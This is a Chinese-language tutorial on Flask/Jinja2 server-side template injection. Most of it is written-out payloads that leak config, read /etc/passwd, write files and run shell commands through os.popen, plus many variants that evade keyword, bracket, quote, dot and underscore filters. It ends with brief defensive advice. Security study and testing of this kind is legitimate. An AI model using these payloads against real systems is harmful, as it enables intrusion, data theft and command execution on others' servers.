详解Flask SSTI 利用与绕过技巧V2
字数 1127 2025-08-11 08:35:50
Flask SSTI 漏洞利用与绕过技巧详解
一、Flask SSTI基础
1.1 模板和模板引擎
模板是包含动态可替换部分的内容片段,模板引擎负责将数据填充到模板中生成最终HTML。Jinja2是Flask默认的模板引擎,支持三种语法:
- 控制结构
{% %} - 变量取值
{{ }} - 注释
{# #}
1.2 模板渲染函数
Flask提供两个主要模板渲染函数:
1.2.1 render_template
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'test')
return render_template("index.html", name=name)
index.html内容:
<h1>Hello {{ name }}!</h1>
1.2.2 render_template_string
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'test')
template = '<h1>Hello {{ name }}!</h1>'
return render_template_string(template, name=name)
1.3 SSTI成因
漏洞出现在使用字符串格式化而非模板变量时:
@app.route('/')
def index():
name = request.args.get('name', 'test')
template = '<h1>Hello %s!</h1>' % name # 危险!使用字符串格式化
return render_template_string(template, name=name)
当攻击者可以控制模板内容时,就能注入恶意模板代码。
二、沙箱逃逸
2.1 关键魔术方法
__class__: 返回实例所属的类__mro__: 查看类继承的所有父类__subclasses__(): 获取类的子类列表__bases__: 返回直接继承的类(元组形式)__init__: 类实例初始化方法__globals__: 返回函数所在空间的模块、方法和变量字典__builtins__: 包含所有内建函数的模块
2.2 沙箱逃逸流程
-
获取object类:
''.__class__.__mro__[1] # Python3 ''.__class__.__mro__[2] # Python2 -
获取子类列表:
''.__class__.__mro__[1].__subclasses__() -
查找可用的类:
- 查找包含
file的类(文件操作) - 查找重载过
__init__的类(有__globals__属性)
查找脚本:
l = len([].__class__.__mro__[1].__subclasses__()) for i in range(l): if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__): print(i, [].__class__.__mro__[1].__subclasses__()[i]) - 查找包含
-
利用
__globals__:[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__ -
访问
__builtins__:[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']
三、漏洞利用
3.1 XSS攻击
?name=<script>alert(1);</script>
3.2 敏感信息泄露
?name={{config}}
?name={{self.__dict__}}
?name={{url_for.__globals__['current_app'].config}}
3.3 文件读取
Python2:
?name={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
Python3:
?name={{''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
3.4 文件写入
Python2:
?name={{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test.txt','w').write('test')}}
3.5 命令执行
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
四、过滤绕过
4.1 过滤关键字
4.1.1 字符串拼接
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['__imp'+'ort__']('o'+'s').popen('who'+'ami').read()}}
4.1.2 单双引号
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__bui''ltins__']['__impo''rt__']('o''s').popen('who''ami').read()}}
4.1.3 编码绕过
Base64:
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['X19pbXBvcnRfXw=='.decode('base64')]('os').popen('whoami').read()}}
Unicode:
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('os').popen('whoami').read()}}
4.2 过滤[]括号
4.2.1 __getitem__()绕过
?name={{''.__class__.__mro__[1].__subclasses__().__getitem__(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}
4.2.2 点号绕过
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
4.3 过滤引号
4.3.1 request对象
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami
4.3.2 chr函数
?name={% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
4.4 过滤点号
4.4.1 中括号[]
?name={{''['__class__']['__mro__'][1]['__subclasses__']()[139]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
4.4.2 |attr()过滤器
?name={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
4.5 过滤下划线
4.5.1 request对象
?name={{''[request.args.v1][request.args.v2][1][request.args.v3]()[139][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read()
4.6 过滤{{
4.6.1 {% if ... %}标签
{% if ''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() == 'root' %}1{% endif %}
4.6.2 {% print %}标签
{% print ''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() %}
五、防御措施
- 避免直接拼接用户输入到模板中
- 使用Flask的
render_template而非render_template_string - 对用户输入进行严格的过滤和转义
- 使用沙箱环境限制模板执行权限
- 定期更新Flask和Jinja2到最新版本